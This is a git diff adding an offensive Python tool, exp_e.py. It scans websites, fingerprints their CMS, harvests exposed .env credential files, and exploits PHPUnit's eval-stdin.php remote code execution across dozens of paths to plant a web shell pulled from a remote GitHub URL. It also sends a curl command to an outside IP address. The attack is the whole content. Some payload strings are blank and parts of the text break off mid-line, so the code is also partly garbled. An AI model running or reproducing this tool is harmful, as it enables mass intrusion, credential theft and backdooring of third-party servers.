diff --git a/exp_e.py b/exp_e.py new file mode 100755 index 0000000..d928e99 --- /dev/null +++ b/exp_e.py @@ -0,0 +1,620 @@ + +#!/usr/bin/env python3 +# -*- coding:utf-8 -*- +import argparse +import logging +import multiprocessing +import os +import re +import socket +import sys +ver=sys.version.split(" ")[0].split(".") +sys.path.append('.env/lib/python'+ver[0]+'.'+ver[1]+'/site-packages/') +import traceback +import warnings +from itertools import islice +from multiprocessing.dummy import Pool as ThreadPool +from urllib.parse import urlparse +import numpy as np +import requests +import urllib3 +from urllib3.exceptions import InsecureRequestWarning + +requests.packages.urllib3.disable_warnings(InsecureRequestWarning) +warnings.simplefilter('ignore', InsecureRequestWarning) +DEBUG = False +FORCE_SCAN = False +TIME_OUT = 10 +SHELL_CODE = 'https://raw.githubusercontent.com/rintod/toolol/master/payload.php' +SHELL_NAME = 'cache.php' +EXTRA_PATH = [] +# EXTRA_COMMAND = 'for pid in $(ps -ef | awk \'/sbin|apache|curl/ {print $2}\'); do kill -9 $pid; done' +EXTRA_COMMAND = 'curl -sk http://50.19.199.172/index.php?c=1' +PATH_ROOT = os.path.dirname(os.path.realpath(__file__)) +PATH_RESULT = os.path.join(PATH_ROOT, 'results') +PATH_CMS = os.path.join(PATH_ROOT, 'cms') +FILE_RESULT = os.path.join(PATH_ROOT, 'result.txt') +FILE_RESULT_INDEX_OF = os.path.join(PATH_ROOT, 'result_index_of.txt') +ATTACK = [] +DEFAULT_HEADER = { + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', + 'referer': 'https://www.google.com/', + 'accept-encoding': 'gzip, deflate, br', + 'accept-language': 'en-US,en;q=0.9', +} +CMS_LIST = { + 'Wordpress': '(wp-content\/(themes|plugins|mu\-plugins)\/[^\n\s]+\.(js|css)|name\=\"generator\"\scontent\=\"WordPress|\/xmlrpc\.php)', + 'Joomla': '(var\sJoomla|name\=\"generator[^\n]+Joomla!|\/com\_[a-z0-9]+\/)', + 'Drupal': '(\/sites\/default\/files|extend\(Drupal|node_link_text|name\=\"generator[^\n><]+(Drupal\s([^\s,]+)))', + 'MediaWiki': '(name\=\"generator[^\n]+MediaWiki|mediawiki\.(user|hidpi|searchSuggest)|Powered\sby\sMediaWiki|mw\.user\.tokens)', + 'PrestaShop': '(modules?\/(tmsearch|topbanner|gsnippetsreviews)\/(search|FrontAjaxTopbanner|views)|comparedProductsIds\=\[\]|var\scomparator_max_item|name\=\"generator\"[^\n]+PrestaShop|license@prestashop\.com|@copyright[^\n]+PrestaShop|var\sprestashop_version)', + 'ZenCart': '(name\=\"generator[^\n]+(Zen\sCart|The\sZen\sCart|zen\-cart\.com\seCommerce)|products\_id\=[^=]+zenid|zencart\/|main_page=[^=]+cPath\=\d)', + 'vBulletin': '(name\=\"generator[^\n]+vBulletin|[^\n]\"vbulletinlink|vb_login_[^\s]+|vbulletin\-core)', + 'Discuz': '(name\=\"generator[^\n]+Discuz|discuz_uid|discuz_tips)', + 'Magento': '(Mage\.Cookies\.)', + 'Invision': '(<([^<]+)?(Invision\sPower)([^>]+)?>|ipb\_[^\n\'=\s]+)', + 'OpenCart': '(name\=\"generator[^\n]+OpenCart|index\.php\?route=(common|checkout|account)|catalog\/view\/theme\/[^\s\n]+\.(js|css|png|jpg))', + 'phpBB': '(name\=\"generator[^\n]+phpbb|Powered\sby[^\n]+(phpBB|phpbb\.com)|viewtopic\.php\?f=\d+)', + 'Whmcs': '(templates\/.*(pwreset|dologin|submitticket|knowledgebase)\.php)', + 'Moodle': '(\^moodle-/|moodle-[a-z0-9_-]+)', + 'YetAnotherForum': '(\syaf\.controls\.SmartScroller|\syaf_[a-z0-9_-]+)', + 'Jive': '(jive([^a-z]+)(app|Onboarding|nitro|rest|rte|ext))', + 'Lithium': '(LITHIUM\.(DEBUG|Loader|Auth|Components|Css|useCheckOnline|RenderedScripts))', + 'Esportsify': 'esportsify\.com/([^.]+).(js|css)', + 'FluxBB': '(
([^\n<>]+)<\/\s?title\s?>", raw) + if match: + result.update(message=str(match.group(1)), ready=True) + else: + result.update(message=req.reason, ready=True) + except ( + requests.exceptions.ConnectTimeout, requests.exceptions.ReadTimeout, requests.exceptions.Timeout, + requests.exceptions.SSLError, requests.exceptions.ConnectionError, AttributeError, + ConnectionRefusedError, socket.timeout, urllib3.exceptions.ReadTimeoutError, + urllib3.exceptions.DecodeError, requests.exceptions.ContentDecodingError): + result.update(message="Can't connect or Timeout", ready=False) + except KeyboardInterrupt: + raise KeyboardInterrupt + except Exception as error: + logging.exception( + ''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) + pass + finally: + if result.get('ready') and result.get('cms') == 'Unknown': + result_file = os.path.join(PATH_CMS, 'Unknown.list') + try: + with open(result_file, 'a+') as a: + a.seek(0, os.SEEK_END) + a.write('%s\n' % url) + a.close() + except: + pass + if result.get('ready') and re.search(r"^Index\sof\s\/", result.get("message")): + result_index_of = os.path.join(PATH_ROOT, 'index_of.list') + try: + with open(result_index_of, 'a+') as a: + a.seek(0, os.SEEK_END) + a.write('%s\n' % url) + a.close() + except: + pass + #add parse index of directory + try: +# print(raw) + pattern = re.escape(REGEX_INDEX_OF) +# print(type(pattern), pattern) + matches = re.findall(r'%s' % REGEX_INDEX_OF.lower(), raw.lower()) +# print(type(matches), matches) + if matches: + try: + with open(FILE_RESULT_INDEX_OF, 'a+') as a: + a.seek(0, os.SEEK_END) + a.write('\n===============================%s===============================\n' % url) + unique_matches = set() + for match in matches: + unique_matches.add(match[0]) + for unique in unique_matches: + a.write(unique + '\n') + a.close() + except: + print('error 2') + pass + except: + print('error 1') + pass + + return result + + +def scan_env(url, force=False): + result_env = {'vuln': None, 'message': 'Unknown', 'content': None} + if not os.path.exists(PATH_RESULT): + os.mkdir(PATH_RESULT) + parsed = urlparse(url) + if parsed.scheme: + target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) + else: + target = 'http://{}'.format(url) + vuln_paths = ['.env', '.remote', '.local', '.production'] + RHOST = urlparse(target).netloc + FILE_RESULT_ENV = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip()) + if not os.path.isfile(FILE_RESULT_ENV) or force: + try: + http = requests.session() + for vuln_path in vuln_paths: + try: + url_bug = '/'.join([target, vuln_path]) + resp = http.get(url_bug, timeout=15, verify=False, allow_redirects=True, + headers=DEFAULT_HEADER) + raw = resp.text + result_env.update(content=raw) + raw_vuln = re.compile(r"([A-Z]+_[A-Z]+\s?=[^\n]+)").search(raw) + vuln_env = not re.search(r"(\?>|<[^\n]+>)", raw, re.MULTILINE) and raw_vuln + if vuln_env: + if DEBUG: + print('%s\n' % raw, end='') + message = raw_vuln.group(1).strip() + result_env.update(message=message, vuln=True) + with open(FILE_RESULT_ENV, 'a+') as w: + w.write(resp.text) + w.close() + with open(FILE_RESULT, 'a+') as a: + a.seek(0, os.SEEK_END) + a.write('\n===============================%s===============================\n' % RHOST) + a.write(raw) + a.close() + else: + message = '%d : %s' % (resp.status_code, resp.reason) + result_env.update(message=message) + except KeyboardInterrupt: + raise KeyboardInterrupt + except: + pass + finally: + if result_env.get('vuln'): + break + except KeyboardInterrupt: + raise KeyboardInterrupt + except Exception as error: + logging.exception( + ''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) + pass + return result_env + + +def scan_phpunit(url, extra_path=[]): + result_phpunit = {'vuln': None, 'message': 'Unknown'} + payloads = { + 'test': '', + 'default': '', + 'laravel': '', + 'drupal': '', + } + vuln_paths = [ + "/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php", + "/vendor/phpunit/src/Util/PHP/eval-stdin.php", + "/vendor/phpunit/Util/PHP/eval-stdin.php", + "/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/phpunit/phpunit/Util/PHP/eval-stdin.php", + "/phpunit/src/Util/PHP/eval-stdin.php", + "/phpunit/Util/PHP/eval-stdin.php", + "/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/lib/phpunit/phpunit/Util/PHP/eval-stdin.php", + "/lib/phpunit/src/Util/PHP/eval-stdin.php", + "/lib/phpunit/Util/PHP/eval-stdin.php", + "/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/wp-content/plugins/cloudflare/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/wp-content/plugins/dzs-videogallery/class_parts/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/wp-content/plugins/jekyll-exporter/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/wp-content/plugins/mm-plugin/inc/vendors/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/dev/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/old/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/new/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + "/protected/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php", + ] + if not os.path.exists(PATH_RESULT): + os.mkdir(PATH_RESULT) + parsed = urlparse(url) + if parsed.scheme: + target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) + else: + target = 'http://{}'.format(url) + vuln_paths = np.unique(vuln_paths + extra_path) + RHOST = urlparse(target).netloc + payloads = {k: v.replace('{{shell}}', SHELL_CODE).replace('{{shellname}}', SHELL_NAME) for k, v in payloads.items()} + payload_test = payloads.get('test') + payload = payloads.get('default') + FILE_RESULT_RCE = os.path.join(PATH_ROOT, 'result-rce.txt') + FILE_FAIL_RCE = os.path.join(PATH_ROOT, 'fail-rce.txt') + FILE_RESULT_HOST = os.path.join(PATH_RESULT, '%s.txt' % RHOST.strip()) + try: + http = requests.session() + for rce in vuln_paths: + rce_bug = '/'.join([target, rce]) + extra_cmd = '' % EXTRA_COMMAND + try: + if DEBUG: + print('[Exploiting] %s\n' % rce_bug, end='') + res_cek = http.post(rce_bug, timeout=5, verify=False, allow_redirects=False, + headers=DEFAULT_HEADER, data=payload_test) + raw_cek = res_cek.content.decode(encoding='utf-8', errors='ignore') + rce_vuln = 'RCE_VULN' in raw_cek and not re.search(r"(\?>|<[^\n]+>)", raw_cek, re.MULTILINE) + if rce_vuln: + kernel = raw_cek.split('|')[-1] + result_phpunit.update(message=kernel, vuln=True) + try: + if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': + payload = payloads.get('laravel') + elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': + payload = payloads.get('drupal') + res_rce = http.post(rce_bug, timeout=TIME_OUT, verify=False, + allow_redirects=False, + headers=DEFAULT_HEADER, data=payload) + rce_raw = res_rce.content.decode(encoding='utf-8', errors='ignore') + if 'RCE_VULN' in rce_raw: + with open(FILE_RESULT_HOST, 'a+') as y: + y.write('%s\n' % rce_bug) + y.close() + with open(FILE_RESULT_RCE, 'a+') as a: + if rce == '/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': + a.write('%s\n' % re.sub(r"vendor\/[^\n]+", 'storage/framework/%s' % SHELL_NAME, + rce_bug)) + elif rce == '/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php': + a.write('%s\n' % re.sub(r"\/sites/all\/[^\n]+", '/sites/default/files//%s' % + SHELL_NAME, + rce_bug)) + else: + a.write('%s\n' % rce_bug.replace("eval-stdin.php", SHELL_NAME)) + a.close() + try: + http.post(rce_bug, timeout=TIME_OUT, verify=False, + allow_redirects=False, + headers=DEFAULT_HEADER, data=extra_cmd) + except: + pass + else: + with open(FILE_RESULT_HOST, 'a+') as a: + a.write('%s\n' % rce_bug) + a.close() + with open(FILE_FAIL_RCE, 'a+') as x: + x.write('%s\n' % rce_bug) + x.close() + try: + http.post(rce_bug, timeout=TIME_OUT, verify=False, allow_redirects=False, + headers=DEFAULT_HEADER, data=extra_cmd) + except: + pass + except: + with open(FILE_RESULT_HOST, 'a+') as a: + a.write('%s\n' % rce_bug) + a.close() + with open(FILE_FAIL_RCE, 'a+') as x: + x.write('%s\n' % rce_bug) + x.close() + pass + else: + match = re.search(r"<\s?title\s?>([^\n<>]+)<\/\s?title\s?>", raw_cek) + if match: + result_phpunit.update(message=str(match.group(1)), ready=True) + else: + result_phpunit.update(message=res_cek.reason, ready=True) + except KeyboardInterrupt: + raise KeyboardInterrupt + except: + pass + finally: + if result_phpunit.get('vuln'): + break + except KeyboardInterrupt: + raise KeyboardInterrupt + except Exception as error: + logging.exception(''.join(traceback.format_exception(etype=type(error), value=error, tb=error.__traceback__))) + pass + return result_phpunit + + +def do_check(url, attk=['all'], extra_path=[], force=False): + parsed = urlparse(url) + if parsed.scheme: + target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', parsed.netloc) + else: + target = 'http://{}'.format(url) + AHOST = urlparse(target).netloc + try: + raw_check = check_url(target) + cms = raw_check.get('cms') + if raw_check.get('ready'): + print("[!]%s : %s ~ %s" % (AHOST, cms, raw_check.get('message').strip())) + if any(ev in 'env' for ev in attk) or any(ev in 'all' for ev in attk): + env = scan_env(target, force) + if bool(env.get('vuln')): + print(style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW(cms) + + style.RESET(' : ') + style.RESET(env.get('message'))) + else: + print(style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [ENV] ') + style.YELLOW( + cms) + style.RESET(' : ') + style.RESET(env.get('message'))) + if any(ev in 'phpunit' for ev in attk) or any(ev in 'all' for ev in attk): + phpunit = scan_phpunit(target, extra_path) + if bool(phpunit.get('vuln')): + print( + style.GREEN('[+] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW(cms) + + style.RESET(' : ') + style.RESET( + phpunit.get('message'))) + else: + print( + style.RED('[x] ') + style.BLUE(AHOST) + style.RESET(' [PHPUNIT] ') + style.YELLOW( + cms) + style.RESET(' : ') + style.RESET(phpunit.get('message'))) + else: + print(style.RED('[x] ') + style.BLUE(AHOST) + style.YELLOW(cms) + style.RESET(' : ') + style.RESET( + raw_check.get('message'))) + except KeyboardInterrupt: + raise KeyboardInterrupt + except Exception as ex: + print(''.join(traceback.format_exception(etype=type(ex), value=ex, tb=ex.__traceback__))) + + +def support_format(str_ip): + parsed = urlparse(str_ip) + if parsed.scheme: + target = '{}://{}'.format(parsed.scheme if parsed.scheme in ['http', 'https'] else 'http', + clean_netloc(parsed.netloc)) + elif not parsed.scheme and parsed.netloc: + target = 'http://{}'.format(clean_netloc(parsed.netloc)) + else: + target = 'http://{}'.format(clean_netloc(str_ip)) + return target.replace('\r', '').replace('\n', '') + + +def clean_netloc(netloc): + return re.sub(r"^(cpanel|www|whm|webmail|mail|webdisk|dc-[0-9]+)\.", "", netloc) + + +def is_valid_ip(ip_str): + reg = r"^(([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}([0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])$" + if re.match(reg, ip_str): + return True + else: + return False + + +def is_valid_hostname(hostname): + if hostname[-1] == ".": + hostname = hostname[:-1] + if len(hostname) > 253: + return False + labels = hostname.split(".") + if re.match(r"[0-9]+$", labels[-1]): + return False + allowed = re.compile(r"(?!-)[a-z0-9-]{1,63}(?